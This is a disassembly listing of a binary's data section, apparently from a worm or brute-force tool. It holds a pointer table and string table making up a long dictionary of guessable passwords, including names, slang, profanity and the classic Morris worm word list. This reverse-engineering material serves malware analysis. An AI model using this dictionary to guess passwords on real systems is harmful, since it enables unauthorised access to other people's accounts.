"perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning_0 ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial_0 ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_1 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew ; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset byte_43C80C dd 0 dword_4313B4 dd 10h ; DATA XREF: sub_40BE75+72w ; sub_40EE72+B6Er ... aZimmerman db 'zimmerman',0 ; DATA XREF: ___:004313A8o align 4 aZap db 'zap',0 ; DATA XREF: ___:004313A4o aYellowstone db 'yellowstone',0 ; DATA XREF: ___:004313A0o aXyz db 'xyz',0 ; DATA XREF: ___:0043139Co aWisconsin db 'wisconsin',0 ; DATA XREF: ___:00431398o align 4 aWilliamsburg db 'williamsburg',0 ; DATA XREF: ___:00431394o align 4 aWholesale db 'wholesale',0 ; DATA XREF: ___:00431390o align 10h aTty db 'tty',0 ; DATA XREF: ___:0043138Co aTopography db 'topography',0 ; DATA XREF: ___:00431388o align 10h aTemptation db 'temptation',0 ; DATA XREF: ___:00431384o align 4 aTelephone db 'telephone',0 ; DATA XREF: ___:00431380o align 4 aTangerine db 'tangerine',0 ; DATA XREF: ___:0043137Co align 4 aSys db 'sys',0 ; DATA XREF: ___:00431378o aSupported db 'supported',0 ; DATA XREF: ___:00431374o align 4 aSuperuser db 'superuser',0 ; DATA XREF: ___:00431370o align 10h aSuperstage db 'superstage',0 ; DATA XREF: ___:0043136Co align 4 aSun db 'sun',0 ; DATA XREF: ___:00431368o aStuttgart db 'stuttgart',0 ; DATA XREF: ___:00431364o align 4 aStratford db 'stratford',0 ; DATA XREF: ___:00431360o align 4 aStephanie db 'stephanie',0 ; DATA XREF: ___:0043135Co align 4 aSignature db 'signature',0 ; DATA XREF: ___:00431358o align 10h aSheffield db 'sheffield',0 ; DATA XREF: ___:00431354o align 4 aSal db 'sal',0 ; DATA XREF: ___:00431350o aRochester db 'rochester',0 ; DATA XREF: ___:0043134Co align 4 aRje db 'rje',0 ; DATA XREF: ___:00431348o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: ___:00431344o align 10h aPub db 'pub',0 ; DATA XREF: ___:00431340o aProfessor db 'professor',0 ; DATA XREF: ___:0043133Co align 10h aPrinceton db 'princeton',0 ; DATA XREF: ___:00431338o align 4 aPondering db 'pondering',0 ; DATA XREF: ___:00431334o align 4 aPolynomial db 'polynomial',0 ; DATA XREF: ___:00431330o align 4 aPersimmon db 'persimmon',0 ; DATA XREF: ___:0043132Co align 10h aPercolate db 'percolate',0 ; DATA XREF: ___:00431328o align 4 aPam db 'pam',0 ; DATA XREF: ___:00431324o aPad db 'pad',0 ; DATA XREF: ___:00431320o aOceanography db 'oceanography',0 ; DATA XREF: ___:0043131Co align 4 aNutrition db 'nutrition',0 ; DATA XREF: ___:00431318o align 10h aNew db 'new',0 ; DATA XREF: ___:00431314o aNet db 'net',0 ; DATA XREF: ___:00431310o aMit db 'mit',0 ; DATA XREF: ___:0043130Co aMgr db 'mgr',0 ; DATA XREF: ___:00431308o aMacintosh db 'macintosh',0 ; DATA XREF: ___:00431304o align 4 aLiz db 'liz',0 ; DATA XREF: ___:00431300o aLee db 'lee',0 ; DATA XREF: ___:004312FCo aLamination db 'lamination',0 ; DATA XREF: ___:004312F8o align 10h aKim db 'kim',0 ; DATA XREF: ___:004312F4o aJoy db 'joy',0 ; DATA XREF: ___:004312ECo aJen db 'jen',0 ; DATA XREF: ___:004312E8o aInnocuous db 'innocuous',0 ; DATA XREF: ___:004312E4o align 4 aImbroglio db 'imbroglio',0 ; DATA XREF: ___:004312E0o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:004312DCo aHappening db 'happening',0 ; DATA XREF: ___:004312D8o align 4 aHal db 'hal',0 ; DATA XREF: ___:004312D4o aGnu db 'gnu',0 ; DATA XREF: ___:004312D0o aFun db 'fun',0 ; DATA XREF: ___:004312CCo aForesight db 'foresight',0 ; DATA XREF: ___:004312C8o align 4 aFoolproof db 'foolproof',0 ; DATA XREF: ___:004312C4o align 4 aExtension db 'extension',0 ; DATA XREF: ___:004312C0o align 4 aEstablish db 'establish',0 ; DATA XREF: ___:004312BCo align 10h aEnterprise db 'enterprise',0 ; DATA XREF: ___:004312B8o align 4 aElizabeth db 'elizabeth',0 ; DATA XREF: ___:004312B4o align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: ___:004312B0o align 4 aEdinburgh db 'edinburgh',0 ; DATA XREF: ___:004312ACo align 10h aDos db 'dos',0 ; DATA XREF: ___:004312A8o aDog db 'dog',0 ; DATA XREF: ___:004312A4o aDiscovery db 'discovery',0 ; DATA XREF: ___:004312A0o align 4 aDesperate db 'desperate',0 ; DATA XREF: ___:0043129Co align 10h aDeb db 'deb',0 ; DATA XREF: ___:00431298o aCornelius db 'cornelius',0 ; DATA XREF: ___:00431294o align 10h aCommrades db 'commrades',0 ; DATA XREF: ___:00431290o align 4 aChristine db 'christine',0 ; DATA XREF: ___:0043128Co align 4 aChristina db 'christina',0 ; DATA XREF: ___:00431288o align 4 aChemistry db 'chemistry',0 ; DATA XREF: ___:00431284o align 10h aCatherine db 'catherine',0 ; DATA XREF: ___:00431280o align 4 aCat db 'cat',0 ; DATA XREF: ___:0043127Co aCampanile db 'campanile',0 ; DATA XREF: ___:00431278o align 4 aCad db 'cad',0 ; DATA XREF: ___:00431274o aBsd db 'bsd',0 ; DATA XREF: ___:00431270o aBob db 'bob',0 ; DATA XREF: ___:0043126Co aBicameral db 'bicameral',0 ; DATA XREF: ___:00431268o align 4 aBeethoven db 'beethoven',0 ; DATA XREF: ___:00431264o align 10h aAtmosphere db 'atmosphere',0 ; DATA XREF: ___:00431260o align 4 aAsm db 'asm',0 ; DATA XREF: ___:0043125Co aAsd db 'asd',0 ; DATA XREF: ___:00431258o aAnthropogenic db 'anthropogenic',0 ; DATA XREF: ___:00431254o align 4 aAnn db 'ann',0 ; DATA XREF: ___:00431250o aAndromache db 'andromache',0 ; DATA XREF: ___:0043124Co align 4 aAmy db 'amy',0 ; DATA XREF: ___:00431248o aAmorphous db 'amorphous',0 ; DATA XREF: ___:00431244o align 4 aAma db 'ama',0 ; DATA XREF: ___:00431240o aAlf db 'alf',0 ; DATA XREF: ___:0043123Co aAlbatross db 'albatross',0 ; DATA XREF: ___:00431238o align 4 aAda db 'ada',0 ; DATA XREF: ___:00431234o aH4x0ring db 'h4x0ring',0 ; DATA XREF: ___:00431230o align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: ___:0043122Co align 4 aH4x1ng db 'h4x1ng',0 ; DATA XREF: ___:00431228o align 4 aHaxing db 'haxing',0 ; DATA XREF: ___:00431224o align 4 aHax db 'hax',0 ; DATA XREF: ___:00431220o aWh0re db 'wh0re',0 ; DATA XREF: ___:0043121Co align 10h aHo db 'ho',0 ; DATA XREF: ___:00431218o align 4 aWh0r3 db 'wh0r3',0 ; DATA XREF: ___:00431214o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: ___:00431210o align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: ___:0043120Co align 4 aWindozeme db 'windozeME',0 ; DATA XREF: ___:00431208o align 10h aWindoze2k db 'windoze2k',0 ; DATA XREF: ___:00431204o align 4 aWindozexp db 'windozexp',0 ; DATA XREF: ___:00431200o align 4 aWindows95 db 'windows95',0 ; DATA XREF: ___:004311FCo align 4 aWindows98 db 'windows98',0 ; DATA XREF: ___:004311F8o align 10h aWindowsme db 'windowsME',0 ; DATA XREF: ___:004311F4o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: ___:004311F0o align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: ___:004311ECo align 4 aMs db 'MS',0 ; DATA XREF: ___:004311E8o align 4 aM db 'M$',0 ; DATA XREF: ___:004311E4o align 4 aBilly db 'billy',0 ; DATA XREF: ___:004311E0o align 4 aWindose db 'windose',0 ; DATA XREF: ___:004311DCo aWindoze db 'windoze',0 ; DATA XREF: ___:004311D8o aWindowz db 'windowz',0 ; DATA XREF: ___:004311D4o aWileecoyote db 'wileecoyote',0 ; DATA XREF: ___:004311D0o aDonaldduck db 'donaldduck',0 ; DATA XREF: ___:004311CCo align 4 aAlexander db 'Alexander',0 ; DATA XREF: ___:004311C8o align 10h aAl3x db 'Al3x',0 ; DATA XREF: ___:004311C4o align 4 aDud3 db 'dud3',0 ; DATA XREF: ___:004311C0o align 10h aDudette db 'dudette',0 ; DATA XREF: ___:004311BCo aD00d db 'd00d',0 ; DATA XREF: ___:004311B8o align 10h aLol db 'lol',0 ; DATA XREF: ___:004311B4o aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: ___:004311B0o align 4 aRoscop db 'RoscoP',0 ; DATA XREF: ___:004311ACo align 4 aRosco db 'Rosco',0 ; DATA XREF: ___:004311A8o align 4 aRoss db 'Ross',0 ; DATA XREF: ___:004311A4o align 4 aTestin db 'testin',0 ; DATA XREF: ___:004311A0o align 4 aTester db 'tester',0 ; DATA XREF: ___:0043119Co align 4 a00000000 db '00000000',0 ; DATA XREF: ___:00431198o align 4 aZulu db 'zulu',0 ; DATA XREF: ___:00431194o align 10h aZombie db 'zombie',0 ; DATA XREF: ___:00431190o align 4 aZmodem db 'zmodem',0 ; DATA XREF: ___:0043118Co align 10h aZimmerma db 'zimmerma',0 ; DATA XREF: ___:00431188o align 4 aZiggy db 'ziggy',0 ; DATA XREF: ___:00431184o align 4 aZeitgeis db 'zeitgeis',0 ; DATA XREF: ___:00431180o align 10h aZebra db 'zebra',0 ; DATA XREF: ___:0043117Co align 4 aYoung db 'young',0 ; DATA XREF: ___:00431178o align 10h aYosemite db 'yosemite',0 ; DATA XREF: ___:00431174o align 4 aYolanda db 'yolanda',0 ; DATA XREF: ___:00431170o aYellowst db 'yellowst',0 ; DATA XREF: ___:0043116Co align 10h aYellow db 'yellow',0 ; DATA XREF: ___:00431168o align 4 aYankee db 'yankee',0 ; DATA XREF: ___:00431164o align 10h aYang db 'yang',0 ; DATA XREF: ___:00431160o align 4 aYaco db 'yaco',0 ; DATA XREF: ___:0043115Co align 10h aXyzzy db 'xyzzy',0 ; DATA XREF: ___:00431158o align 4 aXray db 'xray',0 ; DATA XREF: ___:00431154o align 10h aXmodem db 'xmodem',0 ; DATA XREF: ___:00431150o align 4 aXmen db 'xmen',0 ; DATA XREF: ___:0043114Co align 10h aXman db 'xman',0 ; DATA XREF: ___:00431148o align 4 aXfer db 'xfer',0 ; DATA XREF: ___:00431144o align 10h aXena db 'xena',0 ; DATA XREF: ___:00431140o align 4 aWyoming db 'wyoming',0 ; DATA XREF: ___:0043113Co aWwii db 'wwii',0 ; DATA XREF: ___:00431138o align 4 aWormwood db 'wormwood',0 ; DATA XREF: ___:00431134o align 4 aWorm db 'worm',0 